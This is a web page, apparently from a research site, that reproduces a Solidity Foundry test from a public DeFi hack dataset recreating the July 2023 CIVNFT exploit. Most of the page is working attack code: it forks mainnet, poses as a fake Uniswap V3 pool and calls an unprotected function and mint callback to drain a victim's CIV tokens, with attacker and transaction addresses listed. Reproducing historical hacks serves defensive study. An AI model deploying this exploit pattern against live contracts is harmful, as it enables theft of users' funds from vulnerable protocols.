Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/CIVNFT_exp.sol

Public reproduction file for dataset entry CIVNFT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/CIVNFT_exp.sol115 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~180K USD$
8// Attacker : https://etherscan.io/address/0xbf9df575670c739d9bf1424d4913e7244ed3ff66
9// Attack Contract : https://etherscan.io/address/0x1ae3929e1975043e5443868be91cac12d8cc25ec
10// Vulnerable Contract : https://etherscan.io/address/0xf169bd68ed72b2fdc3c9234833197171aa000580
11// Attack Tx : https://etherscan.io/tx/0x93a033917fcdbd5fe8ae24e9fe22f002949cba2f621a1c43a54f6519479caceb
13// @Analysis
14// https://twitter.com/Phalcon_xyz/status/1677722208893022210
15// https://news.civfund.org/civtrade-hack-analysis-9a2398a6bc2e
16// https://blog.solidityscan.com/civnft-hack-analysis-4ee79b8c33d1
18// Similar incident: https://github.com/SunWeb3Sec/DeFiHackLabs#20230708-civfund---lack-of-access-control
20contract CIVNFTTest is Test {
21 struct Slot0 {
22 // the current price
23 uint160 sqrtPriceX96;
24 // the current tick
25 int24 tick;
26 // the most-recently updated index of the observations array
27 uint16 observationIndex;
28 // the current maximum number of observations that are being stored
29 uint16 observationCardinality;
30 // the next maximum number of observations to store, triggered in observations.write
31 uint16 observationCardinalityNext;
32 // the current protocol fee as a percentage of the swap fee taken on withdrawal
33 // represented as an integer denominator (1/x)%
34 uint8 feeProtocol;
35 // whether the pool is locked
36 bool unlocked;
37 }
39 IERC20 private constant CIV = IERC20(0x37fE0f067FA808fFBDd12891C0858532CFE7361d);
40 IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
41 address private constant CIVNFT = 0xF169BD68ED72B2fdC3C9234833197171AA000580;
42 address private constant victim = 0x512e9701D314b365921BcB3b8265658A152C9fFD;
44 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
46 function setUp() public {
47 cheats.createSelectFork("mainnet", 17_649_875);
48 cheats.label(address(CIV), "CIV");
49 cheats.label(address(WETH), "WETH");
50 cheats.label(CIVNFT, "CIVNFT");
51 cheats.label(victim, "victim");
52 }
54 function testExploit() public {
55 emit log_named_decimal_uint("Attacker CIV balance before exploit", CIV.balanceOf(address(this)), CIV.decimals());
56 // Calling vulnerable function in CIVNFT contract
57 call0x7ca06d68();
58 emit log_named_decimal_uint("Attacker CIV balance after exploit", CIV.balanceOf(address(this)), CIV.decimals());
59 }
61 function token0() external view returns (address) {
62 return address(CIV);
63 }
65 function token1() external view returns (address) {
66 return address(WETH);
67 }
69 function tickSpacing() external pure returns (int24) {
70 return 60;
71 }
73 function slot0() external pure returns (Slot0 memory) {
74 return Slot0({
75 sqrtPriceX96: 590_212_530_842_204_246_875_907_781,
76 tick: -97_380,
77 observationIndex: 0,
78 observationCardinality: 1,
79 observationCardinalityNext: 1,
80 feeProtocol: 0,
81 unlocked: true
82 });
83 }
85 function mint(
86 address recipient,
87 int24 tickLower,
88 int24 tickUpper,
89 uint128 amount,
90 bytes calldata data
91 ) external returns (uint256 amount0, uint256 amount1) {
92 callUniswapV3MintCallback();
93 }
95 function call0x7ca06d68() internal {
96 (bool success,) = CIVNFT.call(
97 abi.encodeWithSelector(
98 bytes4(0x7ca06d68), // vulnerable function selector
99 address(this), // fake uniswap pool
100 abi.encodePacked("0.000059"),
101 -97_385, // int24 tick
102 195_476_868_337_608_980_000_000, // uint256
103 0, // uint256
104 true // bool
105 )
106 );
107 require(success, "Call to CIVNFT failed");
108 }
110 function callUniswapV3MintCallback() internal {
111 bytes memory data = abi.encode(victim, victim);
112 (bool success,) = CIVNFT.call(abi.encodeWithSelector(bytes4(0xd3487997), CIV.balanceOf(victim), 0, data));
113 require(success, "Call to Uniswap callback failed");
114 }

Analysis

Dataset entry

Public Foundry test for “CIVNFT” (2023-07-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xbf9df575670c739d9bf1424d4913e7244ed3ff66

  • Attack Contract

    0x1ae3929e1975043e5443868be91cac12d8cc25ec

  • Vulnerable Contract

    0xf169bd68ed72b2fdc3c9234833197171aa000580

  • Attack Tx

    0x93a033917fcdbd5fe8ae24e9fe22f002949cba2f621a1c43a54f6519479caceb

File record

Name
CIVNFT
Path
src/test/2023-07/CIVNFT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
388f21c055eb6d2c3ff67b92ff0d17ba9857206a
Language
Solidity
Size
116 lines
Date
2023-07-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/CIVNFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 388f21c055eb6d2c3ff67b92ff0d17ba9857206a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.